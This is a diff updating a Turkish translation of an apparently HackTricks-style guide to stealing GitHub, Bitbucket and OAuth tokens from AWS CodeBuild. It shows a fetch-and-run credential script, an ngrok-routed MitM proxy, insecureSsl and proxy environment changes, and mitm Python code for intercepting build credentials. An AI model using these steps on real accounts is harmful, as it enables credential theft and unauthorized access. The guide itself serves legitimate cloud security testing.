diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 2a59bd128..35aef6023 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -4,45 +4,55 @@
## Recover Github/Bitbucket Configured Tokens
-Öncelikle leak yapabileceğiniz herhangi bir source credentials yapılandırılıp yapılandırılmadığını kontrol edin:
+İlk olarak, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı kontrol edin:
```bash
aws codebuild list-source-credentials
```
-### Docker Image Üzerinden
+### CodeBuild Job içinde RCE ile
-Eğer hesapta örneğin Github için kimlik doğrulaması ayarlı olduğunu görürseniz, Codebuild’in projeyi build etmek için belirli bir docker image kullanmasını sağlayarak bu **exfiltrate** edilen **access**’i (**GH token or OAuth token**) ele geçirebilirsiniz.
+CodeBuild job içinden, CodeBuild tarafından kullanılan kimlik bilgilerini döndürecek belgelenmemiş bir AWS CodeBuild API endpoint'ine erişebilirsiniz. Bu, CodeBuild job'unun oluşturulurken ayarlandığı kimlik bilgilerini (ör. AWS CodeConnection kimlik bilgileri, OAUTH veya PAT kimlik bilgileri) elde etmek için kullanılabilir. CodeBuild job'unun bu endpoint'e erişmek için ayrıcalıklı olması gerekmez ve CodeBuild'in kendisi bu endpoint'i başlatma sırasında birkaç kez çağırdığı için loglama ve izlemede tespit edilmesi zordur.
-Bu amaçla **create a new Codebuild project** yapabilir veya mevcut bir projenin **environment**’ını değiştirerek **Docker image**’ı ayarlayabilirsiniz.
+Teknik daha fazla şu adreste açıklanmıştır [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) ancak özetle CodeBuild job içinde kimlik bilgilerini elde etmek için sadece aşağıdakini çalıştırmanız yeterlidir:
+```
+python -m pip install botocore boto3 requests
+wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
+python ./GetBuildInfo.py
+```
+### Via Docker Image
-Kullanabileceğiniz Docker image [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu çok basit bir Docker image’ı olup **env variables `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** değişkenlerini ayarlar. Bu, **`https_proxy`** ve **`http_proxy`**’de belirtilen hostun trafiğinin çoğunu yakalamanıza ve **`SSL_CERT_FILE`** ile belirtilen SSL sertifikasına güvenmenize olanak tanır.
+Eğer örneğin Github için kimlik doğrulaması hesabın içinde ayarlıysa, proje build'ini çalıştırmak için Codebuild'in **use an specific docker image** kullanmasını sağlayarak o **exfiltrate** edebilirsiniz ve böylece o **access** (**GH token or OAuth token**) elde edilebilir.
+
+Bu amaçla **create a new Codebuild project** yapabilir veya mevcut bir projenin **environment**'ını değiştirerek **Docker image**'ı ayarlayabilirsiniz.
+
+Kullanabileceğiniz Docker image şu repo: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu çok temel bir Docker image olup **env variables `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`**'ı ayarlar. Bu, **`https_proxy`** ve **`http_proxy`** ile belirtilen host'un trafiğinin çoğunu ve **`SSL_CERT_FILE`** ile belirtilen SSL sertifikasına güvenmeyi yakalamanıza olanak tanır.
1. **Create & Upload your own Docker MitM image**
-- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
-- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri yakalamamak için.
-- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz, örn. `ngrok tcp 4444`
-- Docker image'ı oluşturduktan sonra, **upload it to a public repo** (Dockerhub, ECR...)
+- Repo talimatlarını takip ederek proxy IP adresinizi ayarlayın ve SSL sertifikanızı belirleyip **build the docker image**.
+- Metadata endpoint'ine yapılan istekleri yakalamamak için **DO NOT SET `http_proxy`**.
+- Proxy'yi kendi host'unuza yönlendirmek için **`ngrok`** gibi bir şey kullanabilirsiniz, örn. `ngrok tcp 4444`
+- Docker image'ı oluşturduktan sonra, **upload it to a public repo** (Dockerhub, ECR...) yapın.
2. **Set the environment**
-- Create a **new Codebuild project** veya mevcut bir projenin **modify** edilmiş environment'ını kullanın.
-- Projeyi **previously generated Docker image**'ı kullanacak şekilde ayarlayın
+- Yeni bir **new Codebuild project** oluşturun veya mevcut bir projenin **modify** edilmiş environment'ını ayarlayın.
+- Projeyi daha önce oluşturduğunuz **previously generated Docker image**'ı kullanacak şekilde ayarlayın.
3. **Set the MitM proxy in your host**
-- **Github repo**'da belirtildiği gibi şu gibi bir şey kullanabilirsiniz:
+- **Github repo**'da belirtildiği gibi şu şekilde bir şey kullanabilirsiniz:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> Kullanılan **mitmproxy sürümü 9.0.1** idi; sürüm 10 ile bunun çalışmayabileceği bildirilmiş.
+> **mitmproxy sürümü 9.0.1 kullanıldı**, sürüm 10'da bunun çalışmayabileceği bildirildi.
4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
-- **Authorization** başlığında token'ı görebilirsiniz:
+- Token'i **Authorization** başlığında görebilirsiniz:
-Bu ayrıca aws cli ile şu şekilde de yapılabilir:
+Bu, aws cli üzerinden şöyle de yapılabilir:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +81,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### insecureSSL ile
+### insecureSSL üzerinden
-**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; bu ayar web arayüzünde gizlidir ve yalnızca API üzerinden değiştirilebilir.\
-Bunu etkinleştirmek, Codebuild'in platformun sunduğu **sertifikayı kontrol etmeden** repository'ye bağlanmasına izin verir.
+**Codebuild** projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen **`insecureSsl`** adında bir ayarı vardır.\
+Bu ayarı etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı **kontrol etmeden** repository'ye bağlanmasına izin verir.
-- Önce mevcut yapılandırmayı aşağıdaki gibi sorgulamanız gerekir:
+- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir:
```bash
aws codebuild batch-get-projects --name
```
-- Ardından, elde edilen bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonunda **`insecureSsl=True`** olduğunu unutmayın (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
-- Ayrıca, **`http_proxy`** ve **`https_proxy`** env değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin:
+- Daha sonra, toplanan bilgilerle proje ayarını **`insecureSsl`** olarak **`True`** yapabilirsiniz. Aşağıda projenin güncellenmesine bir örnek var; sonundaki **`insecureSsl=True`** öğesine dikkat edin (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
+- Ayrıca, tcp ngrok'unuza işaret edecek şekilde **http_proxy** ve **https_proxy** env değişkenlerini de ekleyin:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name \
]
}'
```
-- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
+- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Son olarak, **Build the project**'e tıklayın; **credentials** mitm portuna **sent in clear text** (base64) olarak gönderilecek:
### ~~HTTP protokolü ile~~
-> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 tarihinin bulunduğu hafta içinde bir noktada düzeltildi (sanırım Cuma günü). Yani artık bir saldırgan bunu kötüye kullanamaz :)**
+> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 haftasında (sanırım Cuma günü) düzeltildi. Yani bir saldırgan artık bunu kötüye kullanamaz :)**
-CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan geçici OAuth token'ını leak edebilir.
+CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırılmışsa, koda erişmek için kullanılan **temporary OAuth token**'ı leak edebilir.
-- Bir saldırgan **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
+- Bir saldırgan, CodeBuild projesine ortam değişkenleri **http_proxy** ve **https_proxy** ekleyip bunları kendi makinesine işaret edebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
-- Sonra, repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
-- Ardından, proxy değişkenlerinin işaret ettiği portta (http_proxy ve https_proxy) [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
+- Sonra, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
+- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) gösterdiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki basic örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Ardından, **Projeyi derle** öğesine tıklayın veya derlemeyi komut satırından başlatın:
+- Sonra, **Projeyi derle** düğmesine tıklayın veya komut satırından derlemeyi başlatın:
```sh
aws codebuild start-build --project-name
```
-- Son olarak, **credentials** **düz metin halinde gönderilecek** (base64) mitm portuna:
+- Son olarak, **credentials** **açık metin** (base64) olarak mitm portuna gönderilecek:
> [!WARNING]
-> Artık bir attacker token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm privileges'i listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
+> Artık bir attacker, kendi makinesinden token'ı kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
## Untrusted PR execution via webhook filter misconfiguration
-PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution) için bakınız:
+For the PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), check:
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md